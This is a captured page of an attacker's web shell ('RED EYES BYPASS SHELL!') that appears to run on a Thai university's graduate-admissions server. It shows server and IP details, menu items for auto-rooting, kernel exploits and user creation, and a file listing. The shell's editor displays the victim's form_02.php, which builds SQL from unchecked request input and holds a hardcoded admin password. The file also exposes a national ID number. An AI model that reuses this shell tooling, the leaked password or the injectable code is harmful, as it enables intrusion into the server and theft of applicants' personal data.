Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
grad /
apply /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
PDF
[ DIR ]
drwxr-xr-x
Upload_File
[ DIR ]
drwxrwxrwx
conn
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
fpdf_20231021
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
PDF01.php
17.92
KB
-rwxr-xr-x
_TT_FN.php
201
B
-rwxr-xr-x
form_00.php
21.52
KB
-rwxr-xr-x
form_01.php
13.92
KB
-rwxr-xr-x
form_02.php
23.02
KB
-rwxr-xr-x
form_03.php
28.4
KB
-rwxr-xr-x
form_04.php
2.88
KB
-rwxr-xr-x
form_05.php
364
B
-rwxr-xr-x
form_06.php
3.63
KB
-rwxr-xr-x
form_07.php
2.14
KB
-rwxr-xr-x
form_08.php
14.31
KB
-rwxr-xr-x
index.php
3.58
KB
-rwxr-xr-x
info.php
25
B
-rwxr-xr-x
menu_bar.php
1.92
KB
-rwxr-xr-x
style.php
5.35
KB
-rwxr-xr-x
upd_03.php
11.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : form_02.php
<?php if(isset($_REQUEST['run'])){$run=trim($_REQUEST['run']);}else{$run='0';} if(isset($_REQUEST['pid'])){$pid=trim($_REQUEST['pid']);}else{$pid='';} if(isset($_REQUEST['sst'])){$sst=trim($_REQUEST['sst']);}else{$sst='';} if(isset($_REQUEST['rid'])){$rid=trim($_REQUEST['rid']);}else{$rid='';} If((trim($sst)!="")&&(trim($rid)!="")) { If(trim($sst)=='N'){$sst="Y";}Else{$sst="N";} $sql = " update rgrad_661012_001 set status='$sst',DT_upd='$DTStamp' where rid='$rid' "; $query = mysqli_query($con,$sql); } ?> <!DOCTYPE html> <html> <head> <body> <form name="frm_set" action="" method="post" enctype="multipart/form-data"> <input type="hidden" value='active' name='frm02'> <input type="hidden" value='m02' name='run'> <!--search class="search1">พิมพ์ใบชำระเงิน</search!--> <table border='0.1' align='center' width='99%'> <tr><td> <center><b><font face='TH SarabunPSK' style='font-size: 24px' >พิมพ์เลขประจำตัวประชาชนของท่าน :</font></b> <input type="text" name="pid" size='28' value="<?php echo $pid; ?>"> <button type="button" onClick="smt();" class="button3 button6">ค้นหา</button></center> </td></tr> <tr><td> <?php If((trim($run=='m02'))&&(trim($pid!=''))) { $sql="select * from rgrad_661012_001 where pid='".trim($pid)."' "; $result=mysqli_query($con,$sql); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $name_th=$row['name_th']; $name_en=$row['name_en']; $mmm=substr(trim($row['bd']),5,2); IF($mmm<=9){$mmm=substr(trim($mmm),1,1);} $bd=substr(trim($row['bd']),8,2)." ".$thai[$mmm]." ".substr(trim($row['bd']),0,4); If(trim($name_th)!='') { echo "<table width='98%' border='0.1' bgcolor='#eaeaea'>"; $status=$row['status']; $rid=$row['rid']; $pid=$row['pid']; $DT_upd=" ".$row['DT_upd']; $prt=0; If(trim($sysPass)=='[yIRb9;bmpk]yp') { If(trim($status)=='N'){$status="<a href='index.php?frm02=active&run=m02&pid=$pid&sst=$status&rid=$rid' title='' style='text-decoration:none'><img src='images/002.png' height='38'></a>"; } Else{$status="<a href='index.php?frm02=active&run=m02&pid=$pid&sst=$status&rid=$rid' title='' style='text-decoration:none'><img src='images/001.png' height='38'></a>"; $prt=1;} } Else { If(trim($status)=='N'){$status="<img src='images/002.png' height='38'>";}Else{$status="<img src='images/001.png' height='38'>"; $prt=2; } } echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สถานะ</font></td>"; echo "<td align='left'><font face='TH SarabunPSK' style='font-size: 22px' ><b>".$status."</font></td>"; echo "</tr>"; If(trim($prt)=='1') { echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >พิมพ์ใบสมัคร</font></td>"; echo "<td align='left'> <font face='TH SarabunPSK' style='font-size: 22px' ><b><a href='PDF01.php?rid=$rid&pid=$pid' title='พิมพ์ใบสมัคร' style='text-decoration:none' target='_blank'><img src='images/rule4.png' height='38'></a></font></td>"; echo "</tr>"; }If(trim($prt)=='2'){ echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >พิมพ์ใบสมัคร</font></td>"; echo "<td align='left'> <font face='TH SarabunPSK' style='font-size: 22px' ><b><a href='PDF01.php?rid=$rid&pid=$pid' title='พิมพ์ใบสมัคร' style='text-decoration:none' target='_blank'><img src='images/rule4.png' height='38'></a></font></td>"; echo "</tr>"; } echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ปีการศึกษาที่สมัคร</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['_term'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $course_name=$row['course_name']; IF(trim($course_name)=='010'){$course_name="หลักสูตร ปร.ด. สาขาวิชาวิทยาศาสตร์และนวัตกรรมเพื่อการพัฒนา";} ElseIF(trim($course_name)=='020'){$course_name="หลักสูตร ค.ม. สาขาวิชาการบริหารการศึกษา";} ElseIF(trim($course_name)=='031'){$course_name="หลักสูตร ค.ม. สาขาวิชาหลักสูตรและการสอน (แบบขอรับใบอนุญาตประกอบวิชาชีพครู)";} ElseIF(trim($course_name)=='032'){$course_name="หลักสูตร ค.ม. สาขาวิชาหลักสูตรและการสอน (แบบไม่ขอรับใบอนุญาตประกอบวิชาชีพครู)";} ElseIF(trim($course_name)=='040'){$course_name="หลักสูตร บธ.ม. สาขาวิชาบริหารธุรกิจ";} ElseIF(trim($course_name)=='050'){$course_name="หลักสูตร ส.ม. สาขาวิชาการจัดการสุขภาพ";} ElseIF(trim($course_name)=='060'){$course_name="หลักสูตร วท.ม. สาขาวิชาวิทยาศาสตร์และนวัตกรรมเพื่อการพัฒนา";} echo "<td width='28%' bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >หลักสูตรที่สมัคร</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($course_name)."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >รหัสประจำตัวผู้สมัคร</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['_STU_ID'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >รหัสประจำตัวประชาชน</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['pid'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ชื่อ - นามสกุล(ภาษาไทย)</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>$name_th</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ชื่อ - นามสกุล(ภาษาอังกฤษ)</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".strtoupper($name_en)."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >วัน เดือน ปี เกิด</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>$bd</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สัญชาติ</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['nationality'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >เชื้อชาติ</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['ethnicity'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ศาสนา</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['religion'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $addre=trim($row['addre']); $provinces=trim($row['provinces']); $amphures=trim($row['amphures']); $districts=trim($row['districts']); $zipcode=trim($row['zipcode']); $sql="select districts.zip_code,districts.name_th as ds_name,amphures.name_th as amp_name,provinces.name_th as pro_name from districts,amphures,provinces where districts.id='".trim($districts)."' and districts.amphure_id=amphures.id and amphures.province_id=provinces.id "; $result=mysqli_query($con,$sql); $row4=mysqli_fetch_array($result,MYSQLI_ASSOC); $zipcode=$row4['zip_code']; $provinces=$row4['pro_name']; $amphures=$row4['amp_name']; $districts=$row4['ds_name']; $ADDRESS=$addre." ตำบล".$districts." อำเภอ".$amphures." จังหวัด".$provinces." รหัสไปรษณีย์ ".$zipcode; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ที่อยู่</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($ADDRESS)."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >หมายเลขโทรศัพท์</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['tel'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >E-MAIL</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['email'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >จบจากสถาบันการศึกษา</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['institution'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >วุฒิการศึกษาที่ใช้สมัคร</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['educational'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สาขาวิชา</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['field_of_study'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $grad=trim($row['grad']); If(trim($grad)!=''){$grad=number_format($grad, 2, '.', ' ');} echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >เกรดเฉลี่ย</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($grad)."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $mmm4=substr(trim($row['date_end']),5,2); IF($mmm4<=9){$mmm4=substr(trim($mmm4),1,1);} $date_end=substr(trim($row['date_end']),8,2)." ".$thai[$mmm4]." ".substr(trim($row['date_end']),0,4); echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >วันที่สำเร็จการศึกษา</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>$date_end</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >อาชีพปัจจุบันของผู้สมัครเรียน</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['occupation'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ชื่อสถานที่ทำงาน</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['work'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $file001=$row['file001']; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >รูปถ่าย</font></td>"; echo "<td><a href='Upload_File/$file001' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a></td>"; echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file002=$row['file002']; // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >ผลการศึกษา(transcript)</font></td>"; // echo "<td><a href='Upload_File/$file002' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a></td>"; // echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file003=$row['file003']; // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สำเนาใบปริญญาบัตร</font></td>"; // echo "<td><a href='Upload_File/$file003' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a></td>"; // echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file004=$row['file004']; // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สำเนาบัตรประจำตัวประชาชน</font></td>"; // echo "<td><a href='Upload_File/$file004' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a></td>"; // echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file005=$row['file005']; $STR4=""; // If(trim($file005)!='null.png') // {$STR4="<a href='Upload_File/$file005' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a>";} // Else{$STR4="";} // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >หลักฐานการเปลี่ยนชื่อ-นามสกุล</font></td>"; // echo "<td>".$STR4."</td>"; // echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file008=$row['file008']; $STR4=""; // If(trim($file008)!='null.png') // {$STR4="<a href='Upload_File/$file008' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a>";} // Else{$STR4="";} // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >หลักฐานทดสอบความรู้ภาษาอังกฤษ</font></td>"; // echo "<td>".$STR4."</td>"; // echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; $file006=$row['file006']; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >สลิปใบเสร็จโอนเงิน</font></td>"; echo "<td><a href='Upload_File/$file006' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a></td>"; echo "</tr>"; // echo "<tr bgcolor='#ffffff'>"; // $file007=$row['file007']; $STR44=""; // If(trim($file007)!='null.png') // {$STR44="<a href='Upload_File/$file007' target='_blank' title='ตรวจสอบ' style='text-decoration:none'><font face='TH SarabunPSK' style='font-size: 22px' ><b>ตรวจสอบ</b></font></a>";} // Else{$STR44="";} // echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >หนังสือรับรองจากหน่วยงาน</font></td>"; // echo "<td>".$STR44."</td>"; // echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >วันที่สมัครลงทะเบียน</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".trim($row['DTStamp'])."</font></td>"; echo "</tr>"; echo "<tr bgcolor='#ffffff'>"; if(trim($row['status'])=="Y"){$DTU=trim($row['DT_upd']);}Else{$DTU="";} echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 22px' >วันที่ตรวจสอบ</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 22px' ><b>".$DTU."</font></td>"; echo "</tr>"; echo "</table>"; } } ElseIf((trim($run=='m02'))&&(trim($pid==''))&&(trim($sysPass)=='[yIRb9;bmpk]yp')) { if(isset($_REQUEST['course_name'])){$course_name=trim($_REQUEST['course_name']);}else{$course_name='';} if(isset($_REQUEST['_term'])){$_term=trim($_REQUEST['_term']);}else{$_term='';} echo "<table width='98%' border='0.1' bgcolor='#eaeaea'>"; ?> <tr> <td width='260' align='center' colspan='4' bgcolor='#b3ffb3'> <font face='TH SarabunPSK' style='font-size: 22px' >หลักสูตรที่สมัคร</font> <select name="course_name" onChange='_cn();'> <option value="">----- เลือก -----</option> <option value="010" <?php IF(trim($course_name)=='010'){echo 'selected';} ?> >หลักสูตร ปร.ด. สาขาวิชาวิทยาศาสตร์และนวัตกรรมเพื่อการพัฒนา</option> <option value="020" <?php IF(trim($course_name)=='020'){echo 'selected';} ?>>หลักสูตร ค.ม. สาขาวิชาการบริหารการศึกษา</option> <option value="031" <?php IF(trim($course_name)=='031'){echo 'selected';} ?>>หลักสูตร ค.ม. สาขาวิชาหลักสูตรและการสอน (แบบขอรับใบอนุญาตประกอบวิชาชีพครู)</option> <option value="032" <?php IF(trim($course_name)=='032'){echo 'selected';} ?>>หลักสูตร ค.ม. สาขาวิชาหลักสูตรและการสอน (แบบไม่ขอรับใบอนุญาตประกอบวิชาชีพครู)</option> <option value="040" <?php IF(trim($course_name)=='040'){echo 'selected';} ?>>หลักสูตร บธ.ม. สาขาวิชาบริหารธุรกิจ</option> <option value="050" <?php IF(trim($course_name)=='050'){echo 'selected';} ?>>หลักสูตร ส.ม. สาขาวิชาการจัดการสุขภาพ</option> <option value="060" <?php IF(trim($course_name)=='060'){echo 'selected';} ?>>หลักสูตร วท.ม. สาขาวิชาวิทยาศาสตร์และนวัตกรรมเพื่อการพัฒนา</option> </select> |</font> <select name="_term" onChange='_cn1();'> <option value="">----- ปีการศึกษา -----</option> <!-- <option value="ภาคการศึกษาที่ ๑ ปีการศึกษา ๒๕๖๗" <?php IF(trim($_term)=='ภาคการศึกษาที่ ๑ ปีการศึกษา ๒๕๖๗'){echo 'selected';} ?> >ภาคการศึกษาที่ ๑ ปีการศึกษา ๒๕๖๗</option> --> <option value="ภาคการศึกษาที่ 1 ปีการศึกษา 2569" <?php IF(trim($_term)=='ภาคการศึกษาที่ 1 ปีการศึกษา 2569'){echo 'selected';} ?> >ภาคการศึกษาที่ 1 ปีการศึกษา 2569</option> </select> <a class='<?php echo $frm02; ?>' href="index.php<?php echo "?frm07=active"; ?>" title='ลบ log file' style='text-decoration:none'> <font face='Arial Narrow' style='font-size: 14px' color='RED'><b><u>DELETE FILE</u></b></font> </a> </td></tr> <?php echo "<tr bgcolor='#ffffff'>"; echo "<td bgcolor='#b3ffb3' width='45'><font face='TH SarabunPSK' style='font-size: 20px' >ลำดับที่</font></td>"; echo "<td bgcolor='#b3ffb3' width='160'><font face='TH SarabunPSK' style='font-size: 20px' >เลขประจำตัวประชาชน</font></td>"; echo "<td bgcolor='#b3ffb3'><font face='TH SarabunPSK' style='font-size: 20px' >ชื่อ - นามสกุล</font></td>"; echo "<td bgcolor='#b3ffb3' width='190'><font face='TH SarabunPSK' style='font-size: 20px' >วันที่ลงทะเบียน</font></td>"; echo "</tr>"; $no=0; $sql="select * from rgrad_661012_001 where pid NOT IN('1755599210524') "; If(trim($course_name)!=""){$sql.=" and course_name='".trim($course_name)."' ";} If(trim($_term)!=""){$sql.=" and _term='".trim($_term)."' ";} $sql.=" order by DTStamp desc "; //echo $sql; $result=mysqli_query($con,$sql); while($row3=mysqli_fetch_array($result,MYSQLI_ASSOC)) { $no=$no+1; //echo "G"; $rid=$row3["rid"]; $pid=$row3["pid"]; //$STATUS4=$row3["STATUS"]; $imgs=" <a href='index.php?frm02=active&run=m02&pid=$pid' title='' style='text-decoration:none'><img src='images/sele.png' height='28' ></a>"; If(trim($row3["status"])=='Y'){$cco="#008000";}Else{$cco="#ffff80";} echo "<tr bgcolor='#ffffff'>"; echo "<td><font face='TH SarabunPSK' style='font-size: 20px' >".$no."</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 20px' >".$row3['pid']."</font></td>"; echo "<td><font face='TH SarabunPSK' style='font-size: 20px' >".$row3['name_th'].$imgs."</font></td>"; echo "<td bgcolor='$cco'><font face='TH SarabunPSK' style='font-size: 20px' >".$row3['DTStamp']."</font></td>"; echo "</tr>"; } If(trim($no)=='0') { echo "<tr bgcolor='#ffffff'>"; echo "<td colspan='4'><font face='TH SarabunPSK' style='font-size: 20px' > </font></td>"; echo "</tr>"; } echo "</table>"; } ?> </td></tr> </table> </body> </html> <script language="javascript"> var dForm=self.document.frm_set; function smt(){ //alert('mmm'); self.location.replace('index.php?frm02='+dForm.frm02.value+'&run='+dForm.run.value+'&pid='+dForm.pid.value); } function _cn(){ //alert('mmm'); self.location.replace('index.php?frm02='+dForm.frm02.value+'&run='+dForm.run.value+'&pid='+dForm.pid.value+'&course_name='+dForm.course_name[dForm.course_name.selectedIndex].value+'&_term='+dForm._term[dForm._term.selectedIndex].value); } function _cn1(){ //alert('mmm'); self.location.replace('index.php?frm02='+dForm.frm02.value+'&run='+dForm.run.value+'&pid='+dForm.pid.value+'&course_name='+dForm.course_name[dForm.course_name.selectedIndex].value+'&_term='+dForm._term[dForm._term.selectedIndex].value); } </script>
Close